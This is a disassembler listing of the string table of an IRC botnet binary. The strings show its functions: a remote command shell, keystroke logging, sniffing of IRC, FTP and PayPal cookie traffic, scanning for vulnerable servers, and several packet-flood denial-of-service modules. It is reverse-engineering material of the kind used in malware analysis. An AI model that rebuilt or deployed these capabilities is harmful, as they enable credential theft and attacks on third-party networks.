db '</TR>',0Dh,0Ah,0
align 10h
; char aTrTdWidthDCode[]
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+F2o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_412135+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_412135+6Eo
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135+45o
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4128A1+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4129C2+E3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4129C2+C9o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_4129C2+93o
; sub_41D779+17Do
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4129C2+7Ao
align 4
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_4129C2:loc_412A29o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_4129C2+60o
align 4
; char asc_4349C4[]
asc_4349C4 db '-' ; DATA XREF: sub_412B2A+27Co
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
; char asc_4349FC[]
asc_4349FC db '-' ; DATA XREF: sub_412B2A+20Ao
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
; char asc_434A30[]
asc_434A30 db '*',0 ; DATA XREF: sub_412B2A+156o
align 4
aS_9 db '\%s',0 ; DATA XREF: sub_412B2A+2Fo
; char asc_434A38[]
asc_434A38 db '-' ; DATA XREF: sub_412DD9+3E3o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
; char asc_434A60[]
asc_434A60 db 0Dh,0Ah,0 ; DATA XREF: sub_412DD9+2C0o
; sub_41D235+E9o
align 4
; char aGet_0[]
aGet_0 db 'GET ',0 ; DATA XREF: sub_412DD9+25Ao
align 4
; char asc_434A6C[]
asc_434A6C db '-' ; DATA XREF: sub_41321D+180o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerFailed_0 db '- server failed, returned %d',0
align 4
; char aUseridUnixS[]
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41321D+113o
; char asc_434AB0[]
asc_434AB0 db '-' ; DATA XREF: sub_41321D+BBo
db 3, 34h, 2
dd 6E656469h, 3026474h
aClientConnec_0 db '- client connection from %s:%d.',0
align 10h
; char asc_434AE0[]
asc_434AE0 db '-' ; DATA XREF: sub_413483+159o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_38 db 'Failed to start connection thread, error: <%d>.',0
; char asc_434B20[]
asc_434B20 db '-' ; DATA XREF: sub_413483+E3o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
; char asc_434B64[]
asc_434B64 db '-' ; DATA XREF: sub_41366C+14Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_39 db 'Failed to start client thread, error: <%d>.',0
; char asc_434BA0[]
asc_434BA0 db '-' ; DATA XREF: sub_41366C+EBo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_2 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char asc_434BE8[]
asc_434BE8 db '-' ; DATA XREF: sub_4137FD:loc_41382Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
; char asc_434C14[]
asc_434C14 db '-' ; DATA XREF: sub_413848+178o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
; char asc_434C4C[]
asc_434C4C db '-' ; DATA XREF: sub_413848+1ECo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
; char asc_434C78[]
asc_434C78 db '-' ; DATA XREF: sub_413848+1CCo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
; char asc_434CA4[]
asc_434CA4 db '-' ; DATA XREF: sub_413848+1ACo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_413848+188o
align 10h
; char asc_434CE0[]
asc_434CE0 db '-' ; DATA XREF: sub_413848+F1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
; char asc_434D0C[]
asc_434D0C db '-' ; DATA XREF: sub_413A51+21Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
; char asc_434D44[]
asc_434D44 db '-' ; DATA XREF: sub_413A51+1D0o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_40 db '- Failed to start client thread, error: <%d>.',0
align 10h
; char asc_434D80[]
asc_434D80 db '-' ; DATA XREF: sub_413A51+15Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_434DC4 db 2Dh ; - ; DATA XREF: sub_413A51+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 10h
; char asc_434E00[]
asc_434E00 db '-' ; DATA XREF: sub_413A51+72o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
; char asc_434E44[]
asc_434E44 db '-' ; DATA XREF: sub_413A51+40o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
; char asc_434E70[]
asc_434E70 db '-' ; DATA XREF: sub_413CD4+BFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_413CD4+88o
align 10h
; char asc_434EB0[]
asc_434EB0 db '-' ; DATA XREF: sub_413DA8+89o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
unk_434EEC db 2Dh ; - ; DATA XREF: sub_413F5A+B2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell.',0
; char asc_434F14[]
asc_434F14 db '-' ; DATA XREF: sub_413F5A+82o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create shell stdin pipe, error: <%d>.',0
align 8
unk_434F58 db 2Dh ; - ; DATA XREF: sub_413F5A+5Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_434F98[]
asc_434F98 db '-' ; DATA XREF: sub_414056+E2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 10h
; char asc_434FD0[]
asc_434FD0 db '-' ; DATA XREF: sub_414056+59o
; sub_414056+8Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
; char dword_435018[]
dword_435018 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4142A9+186o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dword_43505C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4142A9+166o
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
; char dword_43509C[]
dword_43509C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4142A9+C6o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
; char asc_4350DC[]
asc_4350DC db '-' ; DATA XREF: sub_4144B2+1A4o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_41 db '- Failed to start server on Port %d.',0
align 10h
; char asc_435110[]
asc_435110 db '-' ; DATA XREF: sub_4144B2+16Fo
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0
align 10h
; char asc_435150[]
asc_435150 db '-' ; DATA XREF: sub_4144B2+10Ao
db 3, 34h, 2
dd 6B636F73h, 3023473h
aClientConnec_4 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_435194 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_4146A1+417o
; char asc_4351A0[]
asc_4351A0 db '-' ; DATA XREF: sub_4146A1+3C5o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFileSentToS db ' file sent to %s',0
align 10h
; char asc_4351C0[]
asc_4351C0 db '-' ; DATA XREF: sub_4146A1+2E3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aSendingDataPac db ' sending data packets to %s',0
; char asc_4351E8[]
asc_4351E8 db '-' ; DATA XREF: sub_4146A1+170o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToOpenFi db ' Failed to open file: %s.',0
align 10h
; char asc_435210[]
asc_435210 db '-' ; DATA XREF: sub_4146A1+64o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 4
; char asc_435248[]
asc_435248 db '-' ; DATA XREF: sub_414B1C+ACo
byte_435249 db 3, 34h, 2 ; DATA XREF: .rdata:off_4352CCo
dd 6C79656Bh, 302676Fh, 7325202Dh, 0
; char aDDDDDDS[]
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_414B1C+86o
align 4
; char aSReturnS[]
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_414BFB+21Bo
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_414BFB+1D8o
align 4
; char aSChangedWindow[]
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_414BFB+8Eo
align 10h
aHttp_0 db 'HTTP',0 ; DATA XREF: .data:0044223Co
align 4
aFtp db 'FTP',0 ; DATA XREF: .data:00442238o
off_4352CC dd offset byte_435249 ; DATA XREF: .data:00442234o
dword_4352D0 dd 544F42h ; DATA XREF: .data:off_442230o
; char asc_4352D4[]
asc_4352D4 db '-' ; DATA XREF: sub_414ECA+277o
db 3, 34h, 2
dd 696E7370h, 3026666h
aRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
; char asc_435300[]
asc_435300 db '-' ; DATA XREF: sub_414ECA+204o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
; char asc_435334[]
asc_435334 db '-' ; DATA XREF: sub_414ECA+18Eo
db 3, 34h, 2
dd 696E7370h, 3026666h, 2Dh
; char aPsniff_0[]
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_414ECA+173o
align 10h
dword_435350 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_414ECA+139o
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
; char asc_435380[]
asc_435380 db '-' ; DATA XREF: sub_414ECA+F1o
db 3, 34h, 2
dd 696E7370h, 3026666h
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
; char asc_4353AC[]
asc_4353AC db '-' ; DATA XREF: sub_414ECA+82o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
; char aHashin[]
aHashin db ':!hashin',0 ; DATA XREF: sub_41519E+103o
align 4
; char a_hashin[]
a_hashin db ':.hashin',0 ; DATA XREF: sub_41519E+EEo
align 10h
; char aIdent_0[]
aIdent_0 db ':!ident',0 ; DATA XREF: sub_41519E+D9o
; char a_ident[]
a_ident db ':.ident',0 ; DATA XREF: sub_41519E+C8o
; char a_login_1[]
a_login_1 db ':.Login',0 ; DATA XREF: sub_41519E+B7o
; char aLogin_1[]
aLogin_1 db ':!Login',0 ; DATA XREF: sub_41519E+A6o
; char aLogin_0[]
aLogin_0 db ':!login',0 ; DATA XREF: sub_41519E+95o
; char a_login_0[]
a_login_0 db ':.login',0 ; DATA XREF: sub_41519E+84o
; char a366[]
a366 db '366 ',0 ; DATA XREF: sub_41519E+73o
align 4
; char a302[]
a302 db '302 ',0 ; DATA XREF: sub_41519E:loc_415200o
align 10h
; char aJoin_0[]
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_41519E+4Do
align 4
; char aPsniff_2[]
aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_41519E+3Co
align 4
; char aPsniff_1[]
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_41519E+2Bo
align 10h
; char aBotSniff[]
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_41519E+5o
align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_4152B5+62o
; char aOper_0[]
aOper_0 db 'oper ',0 ; DATA XREF: sub_4152B5+51o
align 10h
; char aNick_1[]
aNick_1 db 'NICK ',0 ; DATA XREF: sub_4152B5:loc_4152F5o
; sub_41532B+2Bo
align 4
; char aOper[]
aOper db 'OPER ',0 ; DATA XREF: sub_4152B5+2Bo
align 10h
; char aIrcSniff[]
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_4152B5+5o
align 4
; char aPass_1[]
aPass_1 db 'PASS ',0 ; DATA XREF: sub_41532B+73o
align 4
; char aUser_2[]
aUser_2 db 'USER ',0 ; DATA XREF: sub_41532B+62o
align 4
; char a230[]
a230 db '230 ',0 ; DATA XREF: sub_41532B:loc_41537Co
align 4
; char a220[]
a220 db '220 ',0 ; DATA XREF: sub_41532B+3Co
align 4
; char aFtpSniff[]
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_41532B+5o
align 4
; char aSetCookie[]
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4153B2+73o
; char aPaypal_com_0[]
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_4153B2+62o
align 10h
; char aPaypal_com[]
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_4153B2+51o
align 4
; char aPaypal_0[]
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4153B2:loc_4153F2o
align 4
; char aPaypal[]
aPaypal db 'paypal',0 ; DATA XREF: sub_4153B2+2Bo
align 4
; char aHttpSniff[]
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4153B2+5o
align 4
; char aOpenssh_2[]
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_415439+51o
align 4
; char aServUFtpServer[]
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_415439:loc_415479o
align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_415439+2Bo
align 4
; char aVulnSniff[]
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_415439+5o
align 4
unk_435544 db 2Dh ; - ; DATA XREF: sub_41549E+380o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
; char asc_43557C[]
asc_43557C db '-' ; DATA XREF: sub_41549E+31Co
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4355B4 db 2Dh ; - ; DATA XREF: sub_41549E+2EBo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4355E8 db 2Dh ; - ; DATA XREF: sub_41549E+2C1o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43561C db 2Dh ; - ; DATA XREF: sub_41549E+294o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_435650[]
asc_435650 db '-' ; DATA XREF: sub_41549E+10Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
; char asc_435680[]
asc_435680 db '-' ; DATA XREF: sub_41549E+C7o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
; char asc_4356AC[]
asc_4356AC db '-' ; DATA XREF: sub_415825+31Fo
db 3, 34h, 2
dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
dd 6425h
; char asc_4356C8[]
asc_4356C8 db '-' ; DATA XREF: sub_415BD8+5Bo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
; char asc_4356F0[]
asc_4356F0 db '-' ; DATA XREF: sub_415C89+2DBo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
; char asc_435738[]
asc_435738 db '-' ; DATA XREF: sub_415C89+274o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
; char asc_435784[]
asc_435784 db '-' ; DATA XREF: sub_415C89+B8o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
; char asc_4357A4[]
asc_4357A4 db '-' ; DATA XREF: sub_415C89+90o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
; char asc_4357D4[]
asc_4357D4 db '-' ; DATA XREF: sub_415C89+4Bo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 10h
; char asc_435800[]
asc_435800 db '-' ; DATA XREF: sub_415F82+131o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
; char asc_43582C[]
asc_43582C db '-' ; DATA XREF: sub_415F82+67o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
; char asc_435854[]
asc_435854 db '-' ; DATA XREF: sub_416104+1BCo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 10h
; char asc_435880[]
asc_435880 db '-' ; DATA XREF: sub_416104+87o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
; char asc_4358A8[]
asc_4358A8 db '-' ; DATA XREF: sub_41640E+48o
db 3, 34h, 2
dd 73796B73h, 3026E79h
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
; char asc_4358D4[]
asc_4358D4 db '-' ; DATA XREF: sub_4164A9+29Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
; char asc_4358F4[]
asc_4358F4 db '-' ; DATA XREF: sub_4167D6+48o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
; char asc_43591C[]
asc_43591C db '-' ; DATA XREF: sub_416A7E+4Do
db 3, 34h, 2
dd 67726174h, 3023361h
aDoneWithFlood_ db '- Done with flood.',0
align 10h
; char asc_435940[]
asc_435940 db '-' ; DATA XREF: sub_416B1E+3D5o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 10h
; char asc_435990[]
asc_435990 db '-' ; DATA XREF: sub_416B1E+36Bo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 10h
; char asc_4359E0[]
asc_4359E0 db '-' ; DATA XREF: sub_416B1E+C6o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 10h
unk_435A00 db 2Dh ; - ; DATA XREF: sub_416B1E+A7o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
; char asc_435A38[]
asc_435A38 db '-' ; DATA XREF: sub_416B1E+66o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketF_1 db '- Error: socket() failed, returned: <%d>.',0
align 4
; char asc_435A6C[]
asc_435A6C db '-' ; DATA XREF: sub_4171BC+60o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 10h
; char asc_435AA0[]
asc_435AA0 db '-' ; DATA XREF: sub_417272+371o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
align 10h
; char asc_435B30[]
asc_435B30 db '-' ; DATA XREF: sub_417272+31Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
; char asc_435B94[]
asc_435B94 db '-' ; DATA XREF: sub_417272+F5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
; char asc_435BC0[]
asc_435BC0 db '-' ; DATA XREF: sub_417272+7Co
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
align 8
unk_435C08 db 2Dh ; - ; DATA XREF: sub_417272+5Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
; char asc_435C58[]
asc_435C58 db '-' ; DATA XREF: sub_417272+29o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
; char asc_435C84[]
asc_435C84 db '-' ; DATA XREF: sub_4175F3+47o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
; char aSD[]
aSD db '%s%d ',0 ; DATA XREF: sub_41776E+1EAo
align 4
; char asc_435CCC[]
asc_435CCC db '-' ; DATA XREF: sub_417BC8+5Do
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
; char aD_[]
aD_ db '%d. ' ; DATA XREF: sub_417CF8+35o
dd 73253403h, 203D2003h, 73253703h, 3
dword_435D0C dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_417CF8+10o
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_417D70+60o
align 4
dword_435D44 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_417E10:loc_417E45o
dword_435D58 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_417E10+20o
; char asc_435D6C[]
